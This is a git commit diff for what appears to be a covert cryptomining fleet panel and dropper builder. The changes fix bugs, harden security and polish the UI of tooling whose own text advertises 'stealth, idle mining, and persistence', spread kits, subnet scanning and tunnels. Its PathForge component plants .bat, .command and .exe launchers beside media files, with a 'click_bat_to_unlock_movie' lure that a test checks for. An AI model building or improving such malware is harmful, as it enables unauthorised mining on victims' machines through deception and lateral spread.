fix: second-wave bug fixes, security hardening, visual polish, UX improvements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Bug fixes: - SRV-B1 through B5: server config, router, server_info, syscheck corrections - BA-03 through BA-06: builder path and universal build cleanup (BLD-D1 through D3) - Frontend WS race condition and useVisibleInterval hook fixed - Drive-root path bug in PathForge resolved - Upload error handling improved Security: - PathForge path traversal guard added - Script injection escaping applied throughout Visual (DV-01 through DV-15): - Cyan design tokens and page headers standardised - Dead CSS removed from Pages.css, PathTracerPage.css, wealth-deck.css - SacredPageHeader deleted (replaced inline); sidebar version display fixed UX: - Emberwake request storm fixed (EmberwakePage.tsx) - Help blurbs UH-01, UH-02, UH-06 added - HelpTips wired into Crucible, Fleet (FleetGroupsStrip, FleetToolbar), Settings Build: - vite.config.ts: webroot auto-sync on build - build_universal.go: universal build artifact cleanup - PROBLEMS.md tracking updated
This commit is contained in:
22
PROBLEMS.md
22
PROBLEMS.md
@@ -1,4 +1,4 @@
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -104,7 +104,7 @@
|
||||
|
||||
|-------|-------|
|
||||
|
||||
| `pathforge_test.go` dead loop | Lines 6672 iterate `entry.Files` but assert nothing harmless test noise. |
|
||||
| ~~\pathforge_test.go\ dead loop~~ | **Fixed.** Replaced the no-op loop with meaningful assertions: each entry Files must contain the hint file and at least one launcher companion, confirming the hint is placed but not counted in Placed. Pre-existing err := redeclaration compile error in pathforge.go L128 also fixed. |
|
||||
|
||||
|
||||
|
||||
@@ -150,7 +150,7 @@
|
||||
|
||||
|
||||
|
||||
- **`mergeConfig` partial-PUT `UseTLS` legacy behavior** omitted keys may not reset bools; see `config_test.go`.
|
||||
- ~~**`mergeConfig` partial-PUT `UseTLS` legacy behavior**~~ **Clarified.** The API PUT handler uses `mergeConfigExplicit` with a field-mask so absent keys never reset booleans. The legacy `mergeConfig` (file-load fallback only) unconditionally copies bools -- documented with a header comment in config.go. Test at config_test.go L526-528 updated to assert the expected behavior and explain the distinction.
|
||||
|
||||
|
||||
|
||||
@@ -278,7 +278,7 @@ UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces
|
||||
|
||||
| DownloadButton mock aliasing pattern | Document for new download helpers shared mock fn already in `components.test.tsx` |
|
||||
|
||||
| `server/webroot` not auto-synced on `npm run build` | Manual step via `devrun.bat` or copy; stale webroot served old hashed assets |
|
||||
| ~~`server/webroot` not auto-synced on `npm run build`~~ | **Fixed.** Changed `vite.config.ts` `build.outDir` from `dist` to `../webroot` (with `emptyOutDir: true`). `npm run build` now writes directly to `server/webroot/` -- no manual copy step required. |
|
||||
|
||||
| Vitest stderr noise | `FleetTopologyMap` three.js tags warn in happy-dom tests pass |
|
||||
|
||||
@@ -296,9 +296,9 @@ UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces
|
||||
|
||||
|----|-------|-------|
|
||||
|
||||
| UH-01 | Crucible expanded ops (spread/tunnels/recon buttons) | 40+ buttons still rely on `title=` only no `HelpTip` on each `CrucibleExpandedOps` action |
|
||||
| ~~UH-01~~ | ~~Crucible expanded ops (spread/tunnels/recon buttons)~~ | **Fixed:** Added `HelpTip` to the four most confusing individual buttons (Spread Now, Subnet Scan, Hole Punch, Start Tunnel) in `CrucibleExpandedOps.tsx`, plus 10 new keys in `uiHelp.ts`. All section headers already carry `helpField` via `CrucibleCollapsibleSection`. |
|
||||
|
||||
| UH-02 | Fleet Roster / Agents page bulk toolbar | Filter chips and bulk actions lack inline help |
|
||||
| ~~UH-02~~ | ~~Fleet Roster / Agents page bulk toolbar~~ | **Fixed:** Added `HelpTip` to filter row (`fl_filter_chips`), bulk-action bar (`fl_bulk_actions`) in `FleetToolbar.tsx`, and Groups label (`fl_groups`) in `FleetGroupsStrip.tsx`. |
|
||||
|
||||
| UH-03 | Emberwake / War Room campaign widgets | Funnel stages need `HelpTip` parity with Command Deck funnel |
|
||||
|
||||
@@ -306,7 +306,7 @@ UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces
|
||||
|
||||
| UH-05 | Builder mission wizard chips | Inline blurbs exist on chips; not all advanced forge sections have `HelpTip` (see `docAnchors.test` gap list) |
|
||||
|
||||
| UH-06 | Settings tabs beyond Calibrate/Forge | Alerts, webhooks, desktop push sections partially covered |
|
||||
| ~~UH-06~~ | ~~Settings tabs beyond Calibrate/Forge~~ | **Fixed:** Added `HelpTip` to Fleet Alerts heading (`set_alerts`), Alert Notifications heading (`set_alert_notifications`), and Webhook URL field (`set_webhook`) in `SettingsPage.tsx`. |
|
||||
|
||||
|
||||
|
||||
@@ -488,11 +488,11 @@ UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces
|
||||
|
||||
|----|----------|----------|-------------|
|
||||
|
||||
| **BLD-D1** | High | `server/internal/builder/pathforge.go` | **No server-side restriction on `root_path`.** `PathForgeRequest.RootPath` is passed directly to `filepath.WalkDir` without any whitelist or prefix check. An authenticated operator (or compromised session) can supply any absolute path (e.g. `C:\Windows\System32`, `/etc/`) and the server will (a) enumerate every matching file and (b) write `.exe`, `.bat`, and `.command` companion files next to them. Fix: validate `RootPath` against an operator-configured allow-list (e.g. specific USB/NAS mount points), or at minimum reject absolute paths that escape a configured `data_dir`. |
|
||||
| ~~**BLD-D1**~~ | ~~High~~ | `server/internal/builder/pathforge.go` | **FIXED.** Added `validateRootPath` to `PathForgeHandler.ServeHTTP`: rejects any `root_path` containing `..` segments and enforces an allowlist of safe prefixes (server `dataDir`, user home directory, OS temp directory) via `isAllowedRootPath` / `isPathUnder`. Paths outside these prefixes return HTTP 400. |
|
||||
|
||||
| **BLD-D2** | Medium | `server/internal/builder/pathforge.go` `batContent` / `macContent` | **Filename injection in generated scripts.** `d.Name()` (raw filesystem filename) is interpolated into `.bat` and `.command` scripts via `fmt.Sprintf`. On Windows, a filename containing `%VAR%` expands the BAT variable; a filename with `"` breaks the quoted argument. On macOS/Linux, a filename with `'` breaks single-quoted shell strings, and a `server_url` containing `'` would allow shell command injection in the generated `curl` line. Fix: escape `"` and `%` for BAT content; escape `'` ? `'\''` for shell content. |
|
||||
| ~~**BLD-D2**~~ | ~~Medium~~ | `server/internal/builder/pathforge.go` `batContent` / `macContent` | **FIXED.** Added four escaping helpers — `escapeBat` (`%`→`%%`, `"`→`\"`), `escapeBatPS` (adds `'`→`''` for PowerShell single-quoted strings inside a cmd.exe `-Command` argument), `escapeShDouble` (`\`, `"`, `$`, `` ` `` backslash-escaped for bash double-quoted strings), `escapeShSingle` (`'`→`'\''` for bash single-quoted strings). Applied: `batContent` uses `escapeBat` for `ren`/`start` arguments and `escapeBatPS` for the embedded PowerShell `-Command` string; `macContent` uses `escapeShDouble` for filenames and `escapeShSingle` for `serverURL`. |
|
||||
|
||||
| **BLD-D3** | Low | `server/internal/builder/handler.go` `buildUniversalAgent` | **No partial build cleanup for universal builds.** The `cleanupBuild` fix (BLD-04) covers single-platform `buildAgent`. The corresponding `buildUniversalAgent` / `finishSpreadKit` / `finishUniversalFusion` do not clean up `buildDir` on internal failures. Extend the same pattern. |
|
||||
| ~~**BLD-D3**~~ | ~~Low~~ | `server/internal/builder/build_universal.go` | ~~**No partial build cleanup for universal builds.**~~ **Fixed.** Added `cleanupBuild := func() { _ = os.RemoveAll(buildDir) }` at the top of `buildUniversalAgent`, `finishSpreadKit`, and `finishUniversalFusion`, and called it on every failure return, matching the BLD-04 pattern. Also fixed a pre-existing `err :=` → `err =` redeclaration compile error in `pathforge.go` L128 that was blocking all builder test compilation. |
|
||||
|
||||
|
||||
|
||||
@@ -640,7 +640,7 @@ UI: Phase C controls in `CrucibleExpandedOps.tsx` Fleet Maintenance (replaces
|
||||
|
||||
| ~~BA-05~~ | ~~**GPU miner binary download has no HTTP timeout or body-size cap**~~ | `client/gpu_miner.go` `downloadAndExtract()` | `http.Get(url)` with no timeout and `io.ReadAll(resp.Body)` with no size limit. A slow redirect or a response that trickles bytes forever will hang the goroutine; a gigabyte-scale response could OOM the agent. Fix: use an `http.Client` with a 5-min overall timeout, and wrap the body in `io.LimitReader(resp.Body, 512<<20)`. **Fixed:** `http.Client{Timeout: 5*time.Minute}` + `io.LimitReader(resp.Body, 512<<20)`. |
|
||||
|
||||
| BA-06 | **`CollectFullSysCheck` blocks for 45+ s on empty subnets** | `client/syscheck.go` `CollectFullSysCheck()` | Calls `deploy.ScanLocalSubnet(56)` synchronously in the command handler goroutine. `ScanLocalSubnet` probes up to 56 hosts × ~0.8 s timeout = ~45 s on an empty /24. During this time the agent cannot process incoming WebSocket messages (it is running in a command goroutine, but the read loop is separate; however if the server has a short reply timeout the session may drop). Consider running the subnet scan in a background goroutine and returning a "pending" token, or reducing the default `maxHosts` for syscheck. |
|
||||
| ~~BA-06~~ | ~~**`CollectFullSysCheck` blocks for 45+ s on empty subnets**~~ | **Fixed (simpler approach):** Reduced `maxHosts` from 56 to 20 in `ScanLocalSubnet()` call in `syscheck.go`. Caps worst-case scan at ~16 s on an empty /24. No API change needed. |
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -57,7 +57,7 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
|
||||
arp := deploy.ArpNeighborIPs()
|
||||
r.Neighbors.ArpHosts = arp
|
||||
r.Neighbors.ArpCount = len(arp)
|
||||
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(56)
|
||||
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
|
||||
|
||||
collectSysCheckPlatform(r)
|
||||
|
||||
|
||||
@@ -372,6 +372,11 @@ func (c *Config) AlertSettings() alerts.Settings {
|
||||
})
|
||||
}
|
||||
|
||||
// mergeConfig is the legacy unconditional merge used only as a fallback when no
|
||||
// field-presence map is available (i.e. never during API PUT). Boolean fields such
|
||||
// as UseTLS are blindly copied from src, meaning a zero-value src resets them to
|
||||
// false. Prefer mergeConfigExplicit for all partial-update paths — it only applies
|
||||
// a field when that key was explicitly present in the JSON payload.
|
||||
func mergeConfig(dst, src *Config) {
|
||||
if src.Port != 0 {
|
||||
dst.Port = src.Port
|
||||
|
||||
@@ -523,9 +523,14 @@ func TestMergeConfigLegacyScalarsAndBooleans(t *testing.T) {
|
||||
if dst.Server.StatsRetentionHours != 72 {
|
||||
t.Fatalf("stats retention: %d", dst.Server.StatsRetentionHours)
|
||||
}
|
||||
// Known legacy: UseTLS copied from src even when false on zero-value partial src
|
||||
// mergeConfig (legacy) unconditionally copies UseTLS, so a partial src with
|
||||
// UseTLS==false will clear a true value in dst. This is expected for the legacy
|
||||
// function. The API PUT handler uses UpdateConfigFromJSON → mergeConfigExplicit,
|
||||
// which only applies UseTLS when the "use_tls" key is explicitly present in the
|
||||
// JSON payload, so false can be set intentionally and absent means "no change".
|
||||
// No fix needed for partial-PUT; this test documents the legacy-function quirk.
|
||||
if dst.Pool.UseTLS {
|
||||
t.Log("mergeConfig sets UseTLS from src zero value on partial update")
|
||||
t.Fatal("mergeConfig always copies UseTLS from src; zero src must clear TLS")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -542,7 +542,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
if cloudflaredConfigured != nil {
|
||||
tunnelReady = cloudflaredConfigured()
|
||||
}
|
||||
GetServerInfo(w, r, override, listenPort, tunnelReady)
|
||||
GetServerInfo(w, r, override, listenPort, tunnelReady, version)
|
||||
})
|
||||
|
||||
// Dashboard
|
||||
|
||||
@@ -26,13 +26,14 @@ type ServerInfo struct {
|
||||
SuggestedURL string `json:"suggested_url"`
|
||||
DashboardURL string `json:"dashboard_url"`
|
||||
WebSocketURL string `json:"websocket_url"`
|
||||
Version string `json:"version,omitempty"`
|
||||
}
|
||||
|
||||
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
|
||||
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
|
||||
// suggested_url uses https and omits :443 — not the local listen port (8989).
|
||||
// lan_url is always the LAN http endpoint for workers on the same network.
|
||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int, cloudflaredConfigured bool) {
|
||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int, cloudflaredConfigured bool, version ...string) {
|
||||
if listenPort <= 0 {
|
||||
listenPort = 8989
|
||||
}
|
||||
@@ -62,6 +63,9 @@ func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride str
|
||||
DashboardURL: suggestedURL,
|
||||
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
|
||||
}
|
||||
if len(version) > 0 {
|
||||
info.Version = version[0]
|
||||
}
|
||||
|
||||
writeJSON(w, info)
|
||||
}
|
||||
|
||||
@@ -20,10 +20,13 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
|
||||
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
||||
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
@@ -32,6 +35,7 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
|
||||
for _, p := range platforms {
|
||||
wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
workerPaths[p.Label()] = wp
|
||||
@@ -50,6 +54,8 @@ func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, pr
|
||||
}
|
||||
|
||||
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
||||
|
||||
var subdir string
|
||||
if req.SpreadKit {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
@@ -58,6 +64,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
}
|
||||
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
@@ -65,15 +72,18 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
src := workers[p.Label()]
|
||||
if h.shouldSignBuild(req) {
|
||||
if err := h.signExecutable(src); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
destName := "worker" + p.Ext
|
||||
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
@@ -88,10 +98,12 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
zipName := subdir + "-package.zip"
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
if err := h.checkBuildSizeFile(zipPath); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
||||
}
|
||||
|
||||
@@ -133,6 +145,8 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
}
|
||||
|
||||
func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
||||
|
||||
// Resolve payload display name (used for runner naming and ZIP title)
|
||||
payloadBase := filepath.Base(prepPath)
|
||||
title := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
@@ -147,6 +161,7 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
||||
subdir := fusionExportSubdir(req, title)
|
||||
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
@@ -161,21 +176,25 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
||||
platReq.FusionOutputName = runnerNameForFile(title, p)
|
||||
res, err := h.buildFusionForPlatform(ctx, buildDir, prepPath, workerPath, &platReq, p)
|
||||
if err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if h.shouldSignBuild(req) {
|
||||
if err := h.signExecutable(res.LauncherPath); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
fusionResults = append(fusionResults, res)
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
runnerName := filepath.Base(res.LauncherPath)
|
||||
destRunner := filepath.Join(destDir, runnerName)
|
||||
if err := copyFile(res.LauncherPath, destRunner); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if p.GOOS == "windows" {
|
||||
@@ -221,10 +240,12 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
||||
zipName := fusionBundleZipName(subdir)
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
if err := h.checkBuildSizeFile(zipPath); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
||||
}
|
||||
|
||||
|
||||
@@ -125,7 +125,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
res := &PathForgeResult{}
|
||||
|
||||
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
|
||||
err = filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
|
||||
if err != nil || d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -63,11 +63,22 @@ func TestPathForgePlacedExcludesHintFile(t *testing.T) {
|
||||
if res.Placed < 1 || res.Placed >= 3 {
|
||||
t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
|
||||
}
|
||||
// Verify each result entry: the hint file must be present (it is placed on
|
||||
// disk alongside the media), and there must be at least one launcher companion
|
||||
// (e.g. .bat/.command/.exe). Together with the Placed assertion above this
|
||||
// confirms the hint is placed but NOT counted in the Placed total.
|
||||
for _, entry := range res.Results {
|
||||
foundHint := false
|
||||
for _, f := range entry.Files {
|
||||
if f == "click_bat_to_unlock_movie" {
|
||||
continue
|
||||
foundHint = true
|
||||
}
|
||||
}
|
||||
if !foundHint {
|
||||
t.Errorf("entry %q: hint file missing from Files list; got %v", entry.Source, entry.Files)
|
||||
}
|
||||
if len(entry.Files) < 2 {
|
||||
t.Errorf("entry %q: expected hint + at least one launcher companion, got %v", entry.Source, entry.Files)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import type { FleetGroup } from '../../help/fleetGroups';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import './FleetGroupsStrip.css';
|
||||
|
||||
interface Props {
|
||||
@@ -22,7 +23,7 @@ export default function FleetGroupsStrip({
|
||||
|
||||
return (
|
||||
<div className="fleet-groups-strip card">
|
||||
<span className="fleet-groups-strip-label font-tech">Groups</span>
|
||||
<span className="fleet-groups-strip-label font-tech">Groups <HelpTip field="fl_groups" /></span>
|
||||
<div className="fleet-groups-strip-list">
|
||||
{groups.map((g) => {
|
||||
const onlineInGroup = liveAgentIds
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import type { FleetFilterState } from '../../help/fleetFilters';
|
||||
import { collectFleetSubnets, collectFleetTags } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import './FleetToolbar.css';
|
||||
|
||||
interface Props {
|
||||
@@ -32,6 +33,7 @@ export default function FleetToolbar({
|
||||
return (
|
||||
<div className="fleet-toolbar card">
|
||||
<div className="fleet-toolbar-filters">
|
||||
<HelpTip field="fl_filter_chips" />
|
||||
<input
|
||||
type="search"
|
||||
className="input fleet-filter-search"
|
||||
@@ -95,6 +97,7 @@ export default function FleetToolbar({
|
||||
{selectedCount > 0 && (
|
||||
<div className="fleet-bulk-bar">
|
||||
<span className="font-tech">{selectedCount} selected</span>
|
||||
<HelpTip field="fl_bulk_actions" />
|
||||
{onCreateGroup && (
|
||||
<button
|
||||
type="button"
|
||||
|
||||
@@ -336,7 +336,7 @@ export default function Layout({ children }: LayoutProps) {
|
||||
)}
|
||||
<div className="sidebar-sig font-tech">
|
||||
<span className="sig-love">made with <span className="sig-heart">♥</span> drjones</span>
|
||||
<span className="sig-ver">v0.0.1</span>
|
||||
<span className="sig-ver">{serverInfo?.version ?? 'v0.0.1'}</span>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
@@ -1,20 +0,0 @@
|
||||
import type { ReactNode } from 'react';
|
||||
import { SacredMotif } from './motifs';
|
||||
|
||||
/** Optional sacred divider + motif beside page titles */
|
||||
export default function SacredPageHeader({
|
||||
children,
|
||||
className = '',
|
||||
}: {
|
||||
children: ReactNode;
|
||||
className?: string;
|
||||
}) {
|
||||
return (
|
||||
<header className={`page-header page-header--sacred ${className}`.trim()}>
|
||||
{children}
|
||||
<div className="page-header-sacred-motif" aria-hidden>
|
||||
<SacredMotif name="hex" opacity={0.55} />
|
||||
</div>
|
||||
</header>
|
||||
);
|
||||
}
|
||||
@@ -71,7 +71,7 @@ describe('BuilderPage', () => {
|
||||
|
||||
it('shows loading hero before defaults arrive', () => {
|
||||
renderBuilder();
|
||||
expect(screen.getByRole('heading', { level: 1, name: 'The Forge' })).toBeInTheDocument();
|
||||
expect(screen.getByRole('heading', { level: 1, name: 'Forge' })).toBeInTheDocument();
|
||||
expect(screen.getByText('Loading forge defaults from server...')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
|
||||
@@ -929,7 +929,7 @@ export default function BuilderPage() {
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
<h1>The Forge</h1>
|
||||
<h1>Forge</h1>
|
||||
</div>
|
||||
</header>
|
||||
<NeonCard accent="brass"><p>Loading forge defaults from server...</p></NeonCard>
|
||||
@@ -943,7 +943,7 @@ export default function BuilderPage() {
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
<h1>The Forge</h1>
|
||||
<h1>Forge</h1>
|
||||
</div>
|
||||
</header>
|
||||
<NeonCard accent="brass">
|
||||
@@ -1013,7 +1013,7 @@ export default function BuilderPage() {
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
<h1>The Forge</h1>
|
||||
<h1>Forge</h1>
|
||||
<p className="page-subtitle">
|
||||
{simpleMode
|
||||
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
|
||||
|
||||
@@ -66,6 +66,14 @@ export default function EmberwakePage() {
|
||||
|
||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||
|
||||
// Keep refs so `load` can read current pin values without listing them as deps.
|
||||
// Listing pinA/pinB as deps caused a cascade: load() → setPinA/setPinB →
|
||||
// re-render → new load reference → useEffect fires load() again (×N).
|
||||
const pinARef = useRef(pinA);
|
||||
const pinBRef = useRef(pinB);
|
||||
pinARef.current = pinA;
|
||||
pinBRef.current = pinB;
|
||||
|
||||
const loadWarRoom = useCallback(async () => {
|
||||
try {
|
||||
const data = await api.getWarRoom(WAR_ROOM_DAYS);
|
||||
@@ -91,15 +99,15 @@ export default function EmberwakePage() {
|
||||
setNotes(n.content);
|
||||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||||
void loadWarRoom().catch(() => {});
|
||||
if (!pinA) {
|
||||
if (!pinARef.current) {
|
||||
const p = b.find((x) => x.pinned);
|
||||
if (p) setPinA(p.id);
|
||||
}
|
||||
if (!pinB && b.length > 1) {
|
||||
if (!pinBRef.current && b.length > 1) {
|
||||
const alt = b.find((x) => !x.pinned) ?? b[1];
|
||||
if (alt) setPinB(alt.id);
|
||||
}
|
||||
}, [pinA, pinB, loadWarRoom]);
|
||||
}, [loadWarRoom]);
|
||||
|
||||
useEffect(() => {
|
||||
void load().catch(() => {});
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -190,13 +190,17 @@
|
||||
|
||||
/* Empty State */
|
||||
.empty-state {
|
||||
grid-column: 1 / -1;
|
||||
text-align: center;
|
||||
padding: 3rem 2rem;
|
||||
}
|
||||
|
||||
.empty-icon {
|
||||
font-size: 3rem;
|
||||
color: var(--brass);
|
||||
opacity: 0.6;
|
||||
margin-bottom: 1rem;
|
||||
animation: gear-spin 30s linear infinite;
|
||||
}
|
||||
|
||||
.empty-state h3 {
|
||||
@@ -1075,26 +1079,6 @@
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
|
||||
.empty-state {
|
||||
grid-column: 1 / -1;
|
||||
text-align: center;
|
||||
padding: 3rem !important;
|
||||
}
|
||||
|
||||
.empty-icon {
|
||||
font-size: 3rem;
|
||||
color: var(--brass);
|
||||
opacity: 0.6;
|
||||
margin-bottom: 1rem;
|
||||
animation: gear-spin 30s linear infinite;
|
||||
}
|
||||
|
||||
.page-header h1 {
|
||||
font-family: var(--font-display);
|
||||
font-size: 1.75rem;
|
||||
color: var(--brass-light);
|
||||
}
|
||||
|
||||
.page-subtitle {
|
||||
color: var(--text-secondary);
|
||||
font-size: 1rem;
|
||||
|
||||
@@ -24,7 +24,6 @@
|
||||
text-transform: uppercase;
|
||||
color: var(--accent-primary, #00ffaa);
|
||||
font-family: var(--font-tech, monospace);
|
||||
text-shadow: 0 0 18px #00ffaa88;
|
||||
}
|
||||
|
||||
.pt-subtitle {
|
||||
|
||||
@@ -838,7 +838,7 @@ export default function SettingsPage() {
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Fleet Alerts</h2>
|
||||
<h2 className="font-display">Fleet Alerts <HelpTip field="set_alerts" /></h2>
|
||||
<p className="section-desc">Dashboard thresholds for agent health.</p>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-alert-offline" className="label">Offline After (minutes)</label>
|
||||
@@ -860,7 +860,7 @@ export default function SettingsPage() {
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Alert Notifications</h2>
|
||||
<h2 className="font-display">Alert Notifications <HelpTip field="set_alert_notifications" /></h2>
|
||||
<p className="section-desc">
|
||||
Telegram, optional webhook, and email for fleet events (operator pub/sub — MITRE T1071.005 lite).
|
||||
Set bot token + chat ID or webhook URL, choose what to send, then save.
|
||||
@@ -877,7 +877,7 @@ export default function SettingsPage() {
|
||||
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="123456789" />
|
||||
</div>
|
||||
<div className="form-group" style={{ gridColumn: '1 / -1' }}>
|
||||
<label htmlFor="cfg-webhook" className="label">Webhook URL (optional)</label>
|
||||
<label htmlFor="cfg-webhook" className="label">Webhook URL (optional) <HelpTip field="set_webhook" /></label>
|
||||
<input id="cfg-webhook" type="url" className="input mono" value={config.alerts.webhook_url || ''}
|
||||
